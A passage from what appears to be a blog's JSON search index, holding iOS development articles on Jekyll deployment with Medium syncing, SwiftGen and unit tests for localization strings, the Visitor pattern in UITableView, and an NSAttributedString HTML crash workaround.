issues, feel free to report them to me for assistance in fixing them.Upload content to RepoAfter confirming that the local preview content is correct, we need to push the content to the Github Repo.Use the following Git commands in sequence:git add .git commit -m \"update post\"git pushAfter pushing, go back to Github, and you will see that Actions are running CD:Wait about 5 minutes…Deployment completed!Initial deployment settingsAfter the initial deployment, you need to change the following settings:Otherwise, when you visit the website, you will only see:--- layout: home # Index page ---After clicking “Save,” it will not take effect immediately. You need to go back to the “Actions” page and wait for the deployment again.After redeployment is complete, you can successfully access the website:Demo -> zhgchg.liNow you also have a free Jekyll personal blog!!About deploymentEvery time you push content to the Repo, it will trigger a redeployment. You need to wait for the deployment to succeed for the changes to take effect.Bind a custom domainIf you don’t like the zhgchgli0718.github.io Github URL, you can purchase a domain you like from Namecheap or register a free .tk domain from Dot.tk.After purchasing the domain, go to the domain backend:Add the following four Type A Record recordsA Record @ 185.199.108.153A Record @ 185.199.109.153A Record @ 185.199.110.153A Record @ 185.199.111.153After adding the settings in the domain backend, go back to Github Repo Settings:In the Custom domain section, enter your domain, and then click “Save”.After the DNS is connected, you can replace the original github.io address with zhgchg.li. ⚠️ DNS settings take at least 5 minutes ~ 72 hours to take effect. If it cannot be verified, please try again later.Cloud, Fully Automated Medium Synchronization MechanismEvery time there is a new article, you have to manually run ZMediumToMarkdown on your computer and then push it to the project. Is it troublesome?ZMediumToMarkdown actually also provides a convenient Github Action feature that allows you to free up your computer and automatically synchronize Medium articles to your website.Go to the Actions settings of the Repo:Click “New workflow”Click “set up a workflow yourself” Change the file name to: ZMediumToMarkdown.yml The file content is as follows:name: ZMediumToMarkdownon: workflow_dispatch: schedule: - cron: \"10 1 15 * *\" # At 01:10 on day-of-month 15.jobs: ZMediumToMarkdown: runs-on: ubuntu-latest steps: - name: ZMediumToMarkdown Automatic Bot uses: ZhgChgLi/ZMediumToMarkdown@main with: command: '-j your Medium account' cron: Set the execution cycle (weekly? monthly? daily?). Here it is set to automatically execute at 1:15 AM on the 15th of each month. command: Enter your Medium account after -jClick the top right “Start commit” -> “Commit new file”Complete the creation of Github Action.After creation, go back to Actions and you will see the ZMediumToMarkdown Action.In addition to automatic execution at the scheduled time, you can also manually trigger execution by following these steps:Actions -> ZMediumToMarkdown -> Run workflow -> Run workflow.After execution, ZMediumToMarkdown will directly run the script to synchronize Medium articles to the Repo through Github Action’s machine:After running, it will trigger a redeployment. Once the redeployment is complete, the latest content will appear on the website. 🚀 No manual operation required! This means you can continue to update Medium articles in the future, and the script will automatically help you sync the content from the cloud to your own website!My Blog RepoIf you have any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "iOS: Insuring Your Multilingual Strings!", "url": "/posts/48a8526c1300/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, localization, unit-testing, xcode, swift", "date": "2022-07-15 18:10:04 +0800", "snippet": "iOS: Insuring Your Multilingual Strings!Using SwifGen & UnitTest to ensure the safety of multilingual operationsPhoto by Mick HauptProblemPlain Text FilesiOS handles multilingual support throug...", "content": "iOS: Insuring Your Multilingual Strings!Using SwifGen & UnitTest to ensure the safety of multilingual operationsPhoto by Mick HauptProblemPlain Text FilesiOS handles multilingual support through Localizable.strings plain text files, unlike Android which uses XML format for management. This means there is a risk of accidentally corrupting or missing language files during daily development. Additionally, multilingual errors are not detected at Build Time and are often only discovered after release when users from a specific region report issues, significantly reducing user confidence.A previous painful experience involved forgetting to add ; in Localizable.strings due to being too accustomed to Swift. This caused all subsequent strings in a particular language to break after release. An urgent hotfix was needed to resolve the issue.If there is an issue with multilingual support, the Key will be displayed directly to the userAs shown above, if the DESCRIPTION Key is missing, the app will directly display DESCRIPTION to the user.Inspection Requirements Ensure the correct format of Localizable.strings (each line must end with ;, valid Key-Value pairs) All multilingual Keys used in the code must have corresponding definitions in Localizable.strings Each language in Localizable.strings must have corresponding Key-Value records Localizable.strings must not have duplicate Keys (otherwise, Values may be accidentally overwritten)SolutionUsing Swift to Write a Comprehensive Inspection ToolThe previous approach was to “ Use Swift to Write Shell Scripts Directly in Xcode! “ referencing the Localize 🏁 tool to develop a Command Line Tool in Swift for external multilingual file inspection. The script was then placed in Build Phases Run Script to perform checks at Build Time.Advantages: The inspection program is injected externally, not dependent on the project. It can be executed without XCode or building the project, and can pinpoint the exact line in a file where the issue occurs. Additionally, it can perform formatting functions (sorting multilingual Keys A-Z).Disadvantages: Increases Build Time (~+3 mins), process divergence, and scripts are difficult to maintain or adjust according to project structure. Since this part is not within the project, only the person who added this inspection knows the entire logic, making it hard for other collaborators to touch this part. Interested readers can refer to the previous article. This article mainly introduces how to achieve all the inspection functions of Localizable.strings through XCode 13 + SwiftGen + UnitTest.XCode 13 Built-in Build Time Check for Localizable.strings File Format CorrectnessAfter upgrading to XCode 13, it comes with a built-in Build Time check for the Localizable.strings file format. The check is quite comprehensive, and besides missing ;, it will also catch any extra meaningless strings.Using SwiftGen to Replace the Original NSLocalizedString String Base Access MethodSwiftGen helps us convert the original NSLocalizedString String access method to Object access, preventing typos and missing Key declarations.SwiftGen is also a Command Line Tool; however, this tool is quite popular in the industry and has comprehensive documentation and community resources for maintenance. There is no need to worry about maintenance issues after introducing this tool.InstallationYou can choose the installation method according to your environment or CI/CD service settings. Here, we will use CocoaPods for a straightforward installation. Please note that SwiftGen is not really a CocoaPod; it will not have any dependencies on the project’s code. Using CocoaPods to install SwiftGen is simply to download this Command Line Tool executable.Add the swiftgen pod to the podfile:pod 'SwiftGen', '~> 6.0'InitAfter pod install, open Terminal and cd to the project directory/L10NTests/Pods/SwiftGen/bin/swiftGen config initInitialize the swiftgen.yml configuration file and open itstrings: - inputs: - \"L10NTests/Supporting Files/zh-Hant.lproj/Localizable.strings\" outputs: templateName: structured-swift5 output: \"L10NTests/Supporting Files/SwiftGen-L10n.swift\" params: enumName: \"L10n\"Paste and modify it to fit your project’s format:inputs: Project localization file location (it is recommended to specify the localization file of the DevelopmentLocalization language)outputs:output: The location of the converted swift fileparams: enumName: Object nametemplateName: Conversion templateYou can use swiftGen template list to get the list of built-in templatesflat v.s. structuredThe difference is that if the Key style is XXX.YYY.ZZZ, the flat template will convert it to camelCase; the structured template will convert it to XXX.YYY.ZZZ object according to the original style.Pure Swift projects can directly use the built-in templates, but if it is a Swift mixed with OC project, you need to customize the template:flat-swift5-objc.stencil:// swiftlint:disable all// Generated using SwiftGen — https://github.com/SwiftGen/SwiftGen{% if tables.count > 0 %}{% set accessModifier %}{% if param.publicAccess %}public{% else %}internal{% endif %}{% endset %}import Foundation// swiftlint:disable superfluous_disable_command file_length implicit_return// MARK: - Strings{% macro parametersBlock types %}{% filter removeNewlines:\"leading\" %} {% for type in types %} {% if type == \"String\" %} _ p{{forloop.counter}}: Any {% else %} _ p{{forloop.counter}}: {{type}} {% endif %} {{ \", \" if not forloop.last }} {% endfor %}{% endfilter %}{% endmacro %}{% macro argumentsBlock types %}{% filter removeNewlines:\"leading\" %} {% for type in types %} {% if type == \"String\" %} String(describing: p{{forloop.counter}}) {% elif type == \"UnsafeRawPointer\" %} Int(bitPattern: p{{forloop.counter}}) {% else %} p{{forloop.counter}} {% endif %} {{ \", \" if not forloop.last }} {% endfor %}{% endfilter %}{% endmacro %}{% macro recursiveBlock table item %} {% for string in item.strings %} {% if not param.noComments %} {% for line in string.translation|split:\"\\n\" %} /// {{line}} {% endfor %} {% endif %} {% if string.types %} {{accessModifier}} static func {{string.key|swiftIdentifier:\"pretty\"|lowerFirstWord|escapeReservedKeywords}}({% call parametersBlock string.types %}) -> String { return {{enumName}}.tr(\"{{table}}\", \"{{string.key}}\", {% call argumentsBlock string.types %}) } {% elif param.lookupFunction %} {# custom localization function is mostly used for in-app lang selection, so we want the loc to be recomputed at each call for those (hence the computed var) #} {{accessModifier}} static var {{string.key|swiftIdentifier:\"pretty\"|lowerFirstWord|escapeReservedKeywords}}: String { return {{enumName}}.tr(\"{{table}}\", \"{{string.key}}\") } {% else %} {{accessModifier}} static let {{string.key|swiftIdentifier:\"pretty\"|lowerFirstWord|escapeReservedKeywords}} = {{enumName}}.tr(\"{{table}}\", \"{{string.key}}\") {% endif %} {% endfor %} {% for child in item.children %} {% call recursiveBlock table child %} {% endfor %}{% endmacro %}// swiftlint:disable function_parameter_count identifier_name line_length type_body_length{% set enumName %}{{param.enumName|default:\"L10n\"}}{% endset %}@objcMembers {{accessModifier}} class {{enumName}}: NSObject { {% if tables.count > 1 or param.forceFileNameEnum %} {% for table in tables %} {{accessModifier}} enum {{table.name|swiftIdentifier:\"pretty\"|escapeReservedKeywords}} { {% filter indent:2 %}{% call recursiveBlock table.name table.levels %}{% endfilter %} } {% endfor %} {% else %} {% call recursiveBlock tables.first.name tables.first.levels %} {% endif %}}// swiftlint:enable function_parameter_count identifier_name line_length type_body_length// MARK: - Implementation Detailsextension {{enumName}} { private static func tr(_ table: String, _ key: String, _ args: CVarArg...) -> String { {% if param.lookupFunction %} let format = {{ param.lookupFunction }}(key, table) {% else %} let format = {{param.bundle|default:\"BundleToken.bundle\"}}.localizedString(forKey: key, value: nil, table: table) {% endif %} return String(format: format, locale: Locale.current, arguments: args) }}{% if not param.bundle and not param.lookupFunction %}// swiftlint:disable convenience_typeprivate final class BundleToken { static let bundle: Bundle = { #if SWIFT_PACKAGE return Bundle.module #else return Bundle(for: BundleToken.self) #endif }()}// swiftlint:enable convenience_type{% endif %}{% else %}// No string found{% endif %}The above provides a template collected from the internet and customized to be compatible with Swift and Objective-C. You can create a flat-swift5-objc.stencil file and paste the content or click here to download the .zip.If you use a custom template, you won’t use templateName, but instead declare templatePath:swiftgen.yml:strings: - inputs: - \"L10NTests/Supporting Files/zh-Hant.lproj/Localizable.strings\" outputs: templatePath: \"path/to/flat-swift5-objc.stencil\" output: \"L10NTests/Supporting Files/SwiftGen-L10n.swift\" params: enumName: \"L10n\"Specify the templatePath to the location of the .stencil template in the project.GeneratorAfter setting it up, you can manually run in Terminal:/L10NTests/Pods/SwiftGen/bin/swiftGenExecute the conversion. After the first conversion, manually drag the converted result file (SwiftGen-L10n.swift) from Finder into the project so the program can use it.Run ScriptIn the project settings -> Build Phases -> + -> New Run Script Phases -> paste:if [[ -f \"${PODS_ROOT}/SwiftGen/bin/swiftgen\" ]]; then echo \"${PODS_ROOT}/SwiftGen/bin/swiftgen\" \"${PODS_ROOT}/SwiftGen/bin/swiftgen\"else echo \"warning: SwiftGen is not installed. Run 'pod install --repo-update' to install it.\"fiThis way, the generator will run and produce the latest conversion results every time the project is built.How to use in CodeBase?L10n.homeTitleL10n.homeDescription(\"ZhgChgLi\") // with arg With Object Access, there will be no typos, and keys used in the code but not declared in the Localizable.strings file will not occur. However, SwiftGen can only generate from a specific language, so it cannot prevent the situation where a key exists in the generated language but is forgotten in other languages. This situation can only be protected by the following UnitTest.ConversionConversion is the most challenging part of this issue because a project that has already been developed extensively uses NSLocalizedString. Converting it to the new L10n.XXX format is complex, especially for sentences with parameters String(format: NSLocalizedString. Additionally, if Objective-C is mixed in, you must consider the different syntax between Objective-C and Swift.There is no special solution; you can only write a Command Line Tool yourself. Refer to the previous article on using Swift to scan the project directory and parse NSLocalizedString with Regex to write a small tool for conversion.It is recommended to convert one scenario at a time, ensuring it can build before converting the next one. Swift -> NSLocalizedString without parameters Swift -> NSLocalizedString with parameters Objective-C -> NSLocalizedString without parameters Objective-C -> NSLocalizedString with parametersUse UnitTest to check for missing or duplicate keys in each language file compared to the main language fileWe can write UniTest to read the contents of the .strings file from the Bundle and test it.Read .strings from Bundle and convert to object:class L10NTestsTests: XCTestCase { private var localizations: [Bundle: [Localization]] = [:] override func setUp() { super.setUp() let bundles = [Bundle(for: type(of: self))] // bundles.forEach { bundle in var localizations: [Localization] = [] bundle.localizations.forEach { lang in var localization = Localization(lang: lang) if let lprojPath = bundle.path(forResource: lang, ofType: \"lproj\"), let lprojBundle = Bundle(path: lprojPath) { let filesInLPROJ = (try? FileManager.default.contentsOfDirectory(atPath: lprojBundle.bundlePath)) ?? [] localization.localizableStringFiles = filesInLPROJ.compactMap { fileFullName -> L10NTestsTests.Localization.LocalizableStringFile? in let fileName = URL(fileURLWithPath: fileFullName).deletingPathExtension().lastPathComponent let fileExtension = URL(fileURLWithPath: fileFullName).pathExtension guard fileExtension == \"strings\" else { return nil } guard let path = lprojBundle.path(forResource: fileName, ofType: fileExtension) else { return nil } return L10NTestsTests.Localization.LocalizableStringFile(name: fileFullName, path: path) } localization.localizableStringFiles.enumerated().forEach { (index, localizableStringFile) in if let fileContent = try? String(contentsOfFile: localizableStringFile.path, encoding: .utf8) { let lines = fileContent.components(separatedBy: .newlines) let pattern = \"\\\"(.*)\\\"(\\\\s*)(=){1}(\\\\s*)\\\"(.+)\\\";\" let regex = try? NSRegularExpression(pattern: pattern, options: []) let values = lines.compactMap { line -> Localization.LocalizableStringFile.Value? in let range = NSRange(location: 0, length: (line as NSString).length) guard let matches = regex?.firstMatch(in: line, options: [], range: range) else { return nil } let key = (line as NSString).substring(with: matches.range(at: 1)) let value = (line as NSString).substring(with: matches.range(at: 5)) return Localization.LocalizableStringFile.Value(key: key, value: value) } localization.localizableStringFiles[index].values = values } } localizations.append(localization) } } self.localizations[bundle] = localizations } }}private extension L10NTestsTests { struct Localization: Equatable { struct LocalizableStringFile { struct Value { let key: String let value: String } let name: String let path: String var values: [Value] = [] } let lang: String var localizableStringFiles: [LocalizableStringFile] = [] static func == (lhs: Self, rhs: Self) -> Bool { return lhs.lang == rhs.lang } }}We defined a Localization to store the parsed data, find lproj from the Bundle, then find .strings from it, and then use regular expressions to convert multilingual sentences into objects and put them back into Localization for subsequent testing.Here are a few things to note: Use Bundle(for: type(of: self)) to get resources from the Test Target Remember to set the STRINGS_FILE_OUTPUT_ENCODING of the Test Target to UTF-8, otherwise, reading the file content using String will fail (the default is Binary) The reason for using String to read instead of NSDictionary is that we need to test for duplicate Keys, and using NSDictionary will overwrite duplicate Keys when reading Remember to add the .strings File to the Test TargetTestCase 1. Test for duplicate Keys in the same .strings file:func testNoDuplicateKeysInSameFile() throws { localizations.forEach { (_, localizations) in localizations.forEach { localization in localization.localizableStringFiles.forEach { localizableStringFile in let keys = localizableStringFile.values.map { $0.key } let uniqueKeys = Set(keys) XCTAssertTrue(keys.count == uniqueKeys.count, \"Localized Strings File: \\(localizableStringFile.path) has duplicated keys.\") } } }}Input:Result:TestCase 2. Compare with DevelopmentLocalization language to check for missing/redundant Keys:func testCompareWithDevLangHasMissingKey() throws { localizations.forEach { (bundle, localizations) in let developmentLang = bundle.developmentLocalization ?? \"en\" if let developmentLocalization = localizations.first(where: { $0.lang == developmentLang }) { let othersLocalization = localizations.filter { $0.lang != developmentLang } developmentLocalization.localizableStringFiles.forEach { developmentLocalizableStringFile in let developmentLocalizableKeys = Set(developmentLocalizableStringFile.values.map { $0.key }) othersLocalization.forEach { otherLocalization in if let otherLocalizableStringFile = otherLocalization.localizableStringFiles.first(where: { $0.name == developmentLocalizableStringFile.name }) { let otherLocalizableKeys = Set(otherLocalizableStringFile.values.map { $0.key }) if developmentLocalizableKeys.count < otherLocalizableKeys.count { XCTFail(\"Localized Strings File: \\(otherLocalizableStringFile.path) has redundant keys.\") } else if developmentLocalizableKeys.count > otherLocalizableKeys.count { XCTFail(\"Localized Strings File: \\(otherLocalizableStringFile.path) has missing keys.\") } } else { XCTFail(\"Localized Strings File not found in Lang: \\(otherLocalization.lang)\") } } } } else { XCTFail(\"developmentLocalization not found in Bundle: \\(bundle)\") } }}Input: (Compared to DevelopmentLocalization, other languages lack the declaration Key)Output:Input: (DevelopmentLocalization does not have this Key, but it appears in other languages)Output:SummaryCombining the above methods, we use: The new version of XCode to ensure the correctness of the .strings file format ✅ SwiftGen to ensure that the CodeBase does not reference multilingual content incorrectly or without declaration ✅ UnitTest to ensure the correctness of multilingual content ✅Advantages: Fast execution speed, does not slow down Build Time Maintained by all iOS developersAdvancedLocalized File FormatThis solution cannot be achieved, and the original Command Line Tool written in Swift is still needed. However, the Format part can be done in git pre-commit; if there is no diff adjustment, it will not be done to avoid running once every build:#!/bin/shdiffStaged=${1:-\\-\\-staged} # use $1 if exist, default --staged.git diff --diff-filter=d --name-only $diffStaged | grep -e 'Localizable.*\\.\\(strings\\|stringsdict\\)$' | \\ while read line; do // do format for ${line}done.stringdictThe same principle can be applied to .stringdictCI/CDswiftgen does not need to be placed in the build phase, as it runs every build, and the code appears only after the build is complete. It can be changed to generate the command only when there are adjustments.Clearly identify which Key is wrongThe UnitTest program can be optimized to output clearly which Key is Missing/Redundant/Duplicate.Use third-party tools to completely free engineers from multilingual workAs mentioned in the previous talk “ 2021 Pinkoi Tech Career Talk — High-Efficiency Engineering Team Unveiled “, in large teams, multilingual work can be separated through third-party services, reducing the dependency on multilingual work.Engineers only need to define the Key, and multilingual content will be automatically imported from the platform during the CI/CD stage, reducing the manual maintenance phase and making it less prone to errors.Special ThanksWei Cao , iOS Developer @ PinkoiFor any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Visitor Pattern in TableView", "url": "/posts/60473cb47550/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, design-patterns, visitor-pattern, uitableview, refactoring", "date": "2022-07-08 15:58:30 +0800", "snippet": "Visitor Pattern in TableViewEnhancing the readability and extensibility of TableView using the Visitor PatternPhoto by Alex wongIntroductionFollowing the previous article on “Visitor Pattern in Swi...", "content": "Visitor Pattern in TableViewEnhancing the readability and extensibility of TableView using the Visitor PatternPhoto by Alex wongIntroductionFollowing the previous article on “Visitor Pattern in Swift” introducing the Visitor pattern and a simple practical application scenario, this article will discuss another practical application in iOS development.ScenarioDeveloping a dynamic wall feature where various types of blocks need to be dynamically combined and displayed.Taking StreetVoice’s dynamic wall as an example:As shown in the image above, the dynamic wall is composed of various types of blocks dynamically combined, including: Type A: Activity updates Type B: Follow recommendations Type C: New song updates Type D: New album updates Type E: New tracking updates Type … and moreMore types are expected to be added in the future with iterative functionality.IssueWithout any architectural design, the code may look like this:func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { let row = datas[indexPath.row] switch row.type { case .invitation: let cell = tableView.dequeueReusableCell(withIdentifier: \"invitation\", for: indexPath) as! InvitationCell // config cell with viewObject/viewModel... return cell case .newSong: let cell = tableView.dequeueReusableCell(withIdentifier: \"newSong\", for: indexPath) as! NewSongCell // config cell with viewObject/viewModel... return cell case .newEvent: let cell = tableView.dequeueReusableCell(withIdentifier: \"newEvent\", for: indexPath) as! NewEventCell // config cell with viewObject/viewModel... return cell case .newText: let cell = tableView.dequeueReusableCell(withIdentifier: \"newText\", for: indexPath) as! NewTextCell // config cell with viewObject/viewModel... return cell case .newPhotos: let cell = tableView.dequeueReusableCell(withIdentifier: \"newPhotos\", for: indexPath) as! NewPhotosCell // config cell with viewObject/viewModel... return cell }}func tableView(_ tableView: UITableView, heightForRowAt indexPath: IndexPath) -> CGFloat { let row = datas[indexPath.row] switch row.type { case .invitation: if row.isEmpty { return 100 } else { return 300 } case .newSong: return 100 case .newEvent: return 200 case .newText: return UITableView.automaticDimension case .newPhotos: return UITableView.automaticDimension }} Difficult to test: It is challenging to test the corresponding logic output for each type. Difficult to extend and maintain: Whenever a new type needs to be added, modifications are required in this ViewController; cellForRow, heightForRow, willDisplay… scattered across different functions, making it prone to forgetting to update or making mistakes. Difficult to read: All logic is within the View itself.Visitor Pattern SolutionWhy?Organized the object relationships as shown in the figure below:We have many types of DataSource (ViewObject) that need to interact with multiple types of operators, which is a very typical Visitor Double Dispatch.How?To simplify the Demo Code, we will use PlainTextFeedViewObject for plain text feed, MemoriesFeedViewObject for daily memories, and MediaFeedViewObject for image feed to demonstrate the design.The architecture diagram applying the Visitor Pattern is as follows:First, define the Visitor interface, which abstractly declares the types of DataSource that operators can accept:protocol FeedVisitor { associatedtype T func visit(_ viewObject: PlainTextFeedViewObject) -> T? func visit(_ viewObject: MediaFeedViewObject) -> T? func visit(_ viewObject: MemoriesFeedViewObject) -> T? //...}Implement the FeedVisitor interface for each operator:struct FeedCellVisitor: FeedVisitor { typealias T = UITableViewCell.Type func visit(_ viewObject: MediaFeedViewObject) -> T? { return MediaFeedTableViewCell.self } func visit(_ viewObject: MemoriesFeedViewObject) -> T? { return MemoriesFeedTableViewCell.self } func visit(_ viewObject: PlainTextFeedViewObject) -> T? { return PlainTextFeedTableViewCell.self }}Implement the mapping between ViewObject <-> UITableViewCell.struct FeedCellHeightVisitor: FeedVisitor { typealias T = CGFloat func visit(_ viewObject: MediaFeedViewObject) -> T? { return 30 } func visit(_ viewObject: MemoriesFeedViewObject) -> T? { return 10 } func visit(_ viewObject: PlainTextFeedViewObject) -> T? { return 10 }}Implement the mapping between ViewObject <-> UITableViewCell Height.struct FeedCellConfiguratorVisitor: FeedVisitor { private let cell: UITableViewCell init(cell: UITableViewCell) { self.cell = cell } func visit(_ viewObject: MediaFeedViewObject) -> Any? { guard let cell = cell as? MediaFeedTableViewCell else { return nil } // cell.config(viewObject) return nil } func visit(_ viewObject: MemoriesFeedViewObject) -> Any? { guard let cell = cell as? MediaFeedTableViewCell else { return nil } // cell.config(viewObject) return nil } func visit(_ viewObject: PlainTextFeedViewObject) -> Any? { guard let cell = cell as? MediaFeedTableViewCell else { return nil } // cell.config(viewObject) return nil }}Implement ViewObject <-> Cell how to Config mapping.When you need to support a new DataSource (ViewObject), just add a new method in the FeedVisitor interface, and implement the corresponding logic in each operator.DataSource (ViewObject) binding with operators:protocol FeedViewObject { @discardableResult func accept<V: FeedVisitor>(visitor: V) -> V.T?}ViewObject implementation binding interface:struct PlainTextFeedViewObject: FeedViewObject { func accept<V>(visitor: V) -> V.T? where V : FeedVisitor { return visitor.visit(self) }}struct MemoriesFeedViewObject: FeedViewObject { func accept<V>(visitor: V) -> V.T? where V : FeedVisitor { return visitor.visit(self) }}Implementation in UITableView:final class ViewController: UIViewController { @IBOutlet weak var tableView: UITableView! private let cellVisitor = FeedCellVisitor() private var viewObjects: [FeedViewObject] = [] { didSet { viewObjects.forEach { viewObject in let cellName = viewObject.accept(visitor: cellVisitor) tableView.register(cellName, forCellReuseIdentifier: String(describing: cellName)) } } } override func viewDidLoad() { super.viewDidLoad() tableView.delegate = self tableView.dataSource = self viewObjects = [ MemoriesFeedViewObject(), MediaFeedViewObject(), PlainTextFeedViewObject(), MediaFeedViewObject(), PlainTextFeedViewObject(), MediaFeedViewObject(), PlainTextFeedViewObject() ] // Do any additional setup after loading the view. }}extension ViewController: UITableViewDataSource { func numberOfSections(in tableView: UITableView) -> Int { return 1 } func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int { return viewObjects.count } func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { let viewObject = viewObjects[indexPath.row] let cellName = viewObject.accept(visitor: cellVisitor) let cell = tableView.dequeueReusableCell(withIdentifier: String(describing: cellName), for: indexPath) let cellConfiguratorVisitor = FeedCellConfiguratorVisitor(cell: cell) viewObject.accept(visitor: cellConfiguratorVisitor) return cell }}extension ViewController: UITableViewDelegate { func tableView(_ tableView: UITableView, heightForRowAt indexPath: IndexPath) -> CGFloat { let viewObject = viewObjects[indexPath.row] let cellHeightVisitor = FeedCellHeightVisitor() let cellHeight = viewObject.accept(visitor: cellHeightVisitor) ?? UITableView.automaticDimension return cellHeight }}Result Testing: Complies with the Single Responsibility Principle, can test each data point for each operator Scalability and Maintenance: When needing to support a new DataSource (ViewObject), just need to extend an interface in the Visitor protocol, and implement it in the individual operator Visitor. When needing to extract a new operator, just need to create a new Class for implementation. Readability: Just need to browse through each operator object to understand the composition logic of each View on the entire page.Complete ProjectMurmur…Article written during the low period of thinking in July 2022. If there are any inadequacies or errors in the content, please forgive me!Further Reading Practical application record of Design Patterns — In WKWebView with Builder, Strategy & Chain of Responsibility Pattern Practical application record of Design Patterns Visitor Pattern in Swift (Share Object to XXX Example)Feel free to contact me for any questions or feedback.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Implementing iOS NSAttributedString HTML Render Yourself", "url": "/posts/a8c2d26cc734/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, nsattributedstring, html-parsing, html, markdown", "date": "2022-06-10 00:11:59 +0800", "snippet": "Implementing iOS NSAttributedString HTML Render YourselfAn alternative to iOS NSAttributedString DocumentType.htmlPhoto by Florian Olivo[TL;DR] 2023/03/12Re-developed using another method 「 ZMarkup...", "content": "Implementing iOS NSAttributedString HTML Render YourselfAn alternative to iOS NSAttributedString DocumentType.htmlPhoto by Florian Olivo[TL;DR] 2023/03/12Re-developed using another method 「 ZMarkupParser HTML String to NSAttributedString Tool 」 , for technical details and development stories, please visit 「 The Story of Handcrafting an HTML Parser 」OriginSince the release of iOS 15 last year, the app has been plagued by a crash issue that has topped the charts for a long time. According to the data, in the past 90 days (2022/03/11~2022/06/08), it caused over 2.4K crashes, affecting over 1.4K users. From the data, it appears that this massive crash issue has been fixed (or the occurrence rate has been reduced) in subsequent versions of iOS ≥ 15.2, as the trend is showing a decline.Most affected versions: iOS 15.0.X ~ iOS 15.X.XAdditionally, there were sporadic crashes found in iOS 12 and iOS 13, indicating that this issue has existed for a long time, but the occurrence rate in the early versions of iOS 15 was almost 100%.Crash Cause:<compiler-generated> line 2147483647 specialized @nonobjc NSAttributedString.init(data:options:documentAttributes:)NSAttributedString crashes during init with Crashed: com.apple.main-thread EXC_BREAKPOINT 0x00000001de9d4e44. It is also possible that the operation was not on the Main Thread.Reproduction Method:When this issue first appeared massively, it puzzled the development team; re-testing the crash points in the Crash Log showed no problems, and it was unclear under what circumstances the users encountered the issue. Until one day, by chance, I switched to “Low Power Mode” and triggered the issue! WTF!!!SolutionAfter some searching, I found many similar cases online and also found the earliest similar crash issue question on the App Developer Forums, with an official response: This is a known iOS Foundation Bug: It has existed since iOS 12 To render complex HTML without rendering constraints: use WKWebView With rendering constraints: you can write your own HTML Parser & Renderer Directly use Markdown as rendering constraints: iOS ≥ 15 NSAttributedString can directly render text using Markdown format Rendering constraints means limiting the rendering formats that the app can support, such as only supporting bold, italic, hyperlinks.Supplement. Rendering complex HTML — aiming to create text wrapping effectsYou can coordinate with the backend to create an interface:{ \"content\":[ {\"type\":\"text\",\"value\":\"Paragraph 1 plain text\"}, {\"type\":\"text\",\"value\":\"Paragraph 2 plain text\"}, {\"type\":\"text\",\"value\":\"Paragraph 3 plain text\"}, {\"type\":\"text\",\"value\":\"Paragraph 4 plain text\"}, {\"type\":\"image\",\"src\":\"https://zhgchg.li/logo.png\",\"title\":\"ZhgChgLi\"}, {\"type\":\"text\",\"value\":\"Paragraph 5 plain text\"} ]}You can combine it with Markdown to support text rendering, or refer to Medium’s approach:\"Paragraph\": { \"text\": \"code in text, and link in text, and ZhgChgLi, and bold, and I, only i\", \"markups\": [ { \"type\": \"CODE\", \"start\": 5, \"end\": 7 }, { \"start\": 18, \"end\": 22, \"href\": \"http://zhgchg.li\", \"type\": \"LINK\" }, { \"type\": \"STRONG\", \"start\": 50, \"end\": 63 }, { \"type\": \"EM\", \"start\": 55, \"end\": 69 } ]}This means that for the text code in text, and link in text, and ZhgChgLi, and bold, and I, only i:- Characters 5 to 7 should be marked as code (wrapped in `Text` format)- Characters 18 to 22 should be marked as a link (wrapped in [Text](URL) format)- Characters 50 to 63 should be marked as bold (wrapped in *Text* format)- Characters 55 to 69 should be marked as italic (wrapped in _Text_ format)With a standardized and describable structure, the app can use native methods to render, achieving optimal performance and user experience. For the pitfalls of using UITextView for text wrapping, you can refer to my previous article: iOS UITextView Text Wrapping Editor (Swift)Why?Before implementing the solution, let’s first explore the problem itself. Personally, I believe the main cause of this issue is not from Apple; the official bug is just the trigger point.The main problem comes from treating the app as a web renderer. The advantage is that web development is fast, the same API endpoint can provide HTML to all clients without distinction, and it can flexibly render any content. The disadvantage is that HTML is not a common interface for apps, you can’t expect app engineers to understand HTML, performance is extremely poor, it can only run on the main thread, the development stage cannot predict the result, and it is difficult to confirm the supported specifications.Looking further into the problem, it often stems from unclear original requirements, uncertainty about which specifications the app needs to support, and the pursuit of speed, leading to the direct use of HTML as the interface between the app and the web.Extremely poor performanceSupplementing the performance part, actual tests show that directly using NSAttributedString DocumentType.html and implementing the rendering method yourself has a speed difference of 5 to 20 times.BetterSince it is for App use, a better approach should be based on App development methods. For Apps, the cost of adjusting requirements is much higher than for the Web; effective App development should be based on iterative adjustments with specifications. At the moment, we need to confirm the specifications that can be supported. If we need to change them later, we will schedule time to expand the specifications. We cannot quickly change them as we wish, which can reduce communication costs and increase work efficiency. Confirm the scope of requirements Confirm the supported specifications Confirm the interface specifications (Markdown/BBCode/… can continue to use HTML, but it must be constrained, such as only using <b>/<i>/<a>/<u>, and it must be explicitly informed to the developers in the program) Implement the rendering mechanism yourself Maintain and iteratively support the specifications[2023/02/27 Updated] [TL;DR]:Updated approach, no longer using XMLParser, due to zero tolerance for errors:<br> / <Congratulation!> / <b>Bold<i>Bold+Italic</b>Italic</i>The above three possible scenarios will all cause XMLParser to throw an error and display blank.Using XMLParser, the HTML string must fully comply with XML rules, unlike browsers or NSAttributedString.DocumentType.html which can tolerate errors and display normally.Switch to pure Swift development, parsing HTML tags through Regex and Tokenization, analyzing and correcting tag correctness (correcting tags without end & misplaced tags), then converting them into an abstract syntax tree, and finally using the Visitor Pattern to map HTML tags to abstract styles, obtaining the final NSAttributedString result; without relying on any Parser Lib.— —How?The die is cast, back to the main topic. Currently, we are using HTML to render NSAttributedString, so how do we solve the above crash and performance issues?Inspired byStrip HTMLBefore talking about HTML Render, let’s talk about Strip HTML again. As mentioned in the Why? section, where the App will get HTML and what kind of HTML it will get should be specified in the specifications; rather than the App “ possibly “ getting HTML and 